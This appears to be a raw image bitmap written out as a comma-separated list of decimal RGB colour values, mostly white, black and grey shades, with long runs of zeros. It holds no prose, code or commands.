9493467,14389306,58,9493503,16777142,6684672,0,102,11983871,16777215,16777179,9452134,11993087,16777215,14399078,0,0,0,0,3838171,16777215,16777142,6699520,0,26294,16777215,16777179,9452032,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,3838171,16777179,9463354,3815994,6731483,16777142,6684730,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777179,9452032,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,26294,14408667,14408667,14408667,14408667,14408630,6684672,0,0,0,0,0,26256,11983835,14408667,14408667,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,102,11993087,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408667,14408667,14408667,14408667,14399120,3801088,0,0,0,0,0,58,9483995,16777215,16777215,16767926,9452032,0,0,0,0,58,9493503,16777215,16758374,3801088,58,6731519,16777215,16767888,3801088,0,58,6710886,6710886,6710886,6710886,6710928,9483995,16777215,16777179,9452032,0,0,58,6710886,6710886,6710886,6710886,6710928,9493467,16777215,16777179,9452032,0,0,58,3827344,11974326,11974326,9474150,3801146,3838171,16777215,16777179,11953722,0,0,0,0,0,0,0,3838171,16777215,14399078,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,14992,14417919,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16758374,102,11993087,16777215,16777215,16777215,16758374,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16758374,102,11993087,16758374,0,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,6731483,16777215,16767888,6721755,16777215,16767926,6684672,0,0,14992,14417919,16777142,6684672,0,26294,16777215,14389306,0,6731519,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,26294,16777215,16767888,3801088,0,0,0,26294,16777215,16767888,3801088,0,0,0,58,9493503,16777215,14389306,0,0,6731519,16777215,14389306,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,0,58,3816038,11983871,16777215,16758374,0,0,0,0,0,0,3827382,16777215,16777215,16767888,3801088,3827382,16777215,16758374,0,102,11993087,16777215,16767926,6699520,0,58,3838134,14417919,16767888,3801088,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,14992,14417919,16777215,14389350,3801088,0,3827344,14417919,16777215,11953664,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731483,16777215,16777215,16777215,16777215,16777179,9474230,16777215,16767888,3801088,0,26294,16777215,16777215,16758374,3801088,0,14992,14417919,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,102,11993087,16777215,16758374,3801088,0,3827382,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16758374,3801088,58,9493503,16777215,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,26294,16777215,16777215,14399078,3801088,0,58,6731519,16777215,16767888,3801088,0,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16767888,3801088,0,3838171,16777215,11953664,0,0,0,0,0,3827344,11983871,16777215,16777215,16777215,14399078,3801088,0,0,0,0,0,0,14992,14417919,16777215,14399078,3801088,0,0,0,0,0,102,9493503,16777215,16777179,9452032,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,14950,9474230,14417919,16777215,16777215,16777215,16777215,16777215,14399120,9463354,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,58,9493503,16777215,11953664,26294,16777215,16777215,16758374,102,11993087,16777179,9452032,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,14408592,6699520,0,0,0,26294,16777215,16767888,3801088,0,0,102,11993087,16777179,9452032,0,0,58,9483995,14399120,6699520,0,0,14950,11993087,16777215,16767888,3801088,0,6731519,16777215,16767963,14408630,9463354,3815994,3827382,14417919,16777215,16758374,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,14950,11983835,16777215,16777215,16777215,16777215,16767926,9463354,0,0,0,26294,16777215,16777215,14399120,6699578,3816038,9483995,14399158,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6731483,16777215,16777215,11953664,0,0,0,0,58,9493503,16777215,16758374,3801088,0,0,0,58,9493503,16767888,3801146,9493503,16777142,6684672,0,58,9493503,16777142,6684672,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16767963,11964518,3801088,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,3838171,16777215,16758374,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,58,9493503,16777215,16777215,16777215,16777179,9452032,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,14906,6721718,14417919,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953664,14992,14417919,16777215,14389306,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,6731519,16777142,6684672,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,26294,16777215,16767888,3801088,0,0,14950,11983871,16777215,16777142,6684672,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,3827344,11983871,16777215,16777215,16777215,14399078,3801088,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777142,6684672,26294,16767888,9484031,16758374,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777179,14408703,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,26294,16777215,16777142,6684672,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16777142,6684672,0,0,0,0,14906,0,0,58,9493503,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,58,9493503,16777215,14389306,0,0,0,58,9493503,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,26294,16777215,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,58,9493503,16777215,14389306,0,0,0,0,6731519,16777215,14389306,0,0,0,58,9493503,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,14992,14417919,16777142,9452032,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,102,11993087,16777215,11953664,0,0,102,11993087,16777179,9452032,0,58,9493503,16777142,6684672,26294,16767888,9484031,14389306,58,9493503,16777179,9452032,0,0,0,3838171,16777215,16777142,9484031,16777215,16758374,0,0,0,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,3827344,11983835,16777215,16777215,16767926,6699520,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767963,11964518,3801088,0,58,9493503,16777215,14399120,6721718,14408703,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777142,6684672,58,9493503,14389306,0,14906,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,58,9493503,16777215,14389306,0,0,0,0,102,11993087,16777179,14408703,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684774,11993087,16777142,6684672,0,0,0,0,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777142,6699520,0,26294,16777215,16777179,9452032,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684672,3838171,16777179,9463354,3815994,6721755,16777179,9452032,6731519,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827302,9483958,11974326,9463354,3801088,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,14950,9493467,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16758374,3801088,58,6731519,16777215,16767888,3801088,0,0,0,0,14950,11983871,16777215,16767888,3801088,0,0,0,0,0,0,0,14950,11983871,16777215,14399120,3801088,0,0,0,0,0,0,0,14950,9493503,16777215,16767926,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,14389306,0,0,26294,16777215,16758374,0,0,0,0,3838171,16777215,11953664,102,11993087,16777215,16777215,16777215,16758374,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16758374,0,0,3838171,16777215,16758374,0,3838171,16777215,16758374,0,6731519,16777142,6684672,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,58,9493503,16777142,6684672,0,6731519,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,102,11993087,16777179,14408703,16777215,11953664,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,14389306,26294,14408667,16777215,16777215,14389306,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,6731519,16777215,11953664,0,102,11993087,16777142,6684672,26294,16777215,16777142,6684672,0,0,0,0,14906,0,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,26294,16777215,16777215,14399078,3815994,3815994,6721755,14408667,14417919,16777142,6684672,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,0,26294,16777215,16777142,6684672,0,0,0,6731519,16777215,16758374,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777142,6684672,0,3838171,16777179,14408703,16777215,16758374,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16777179,9452032,0,0,0,14992,14417919,16777179,9452032,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0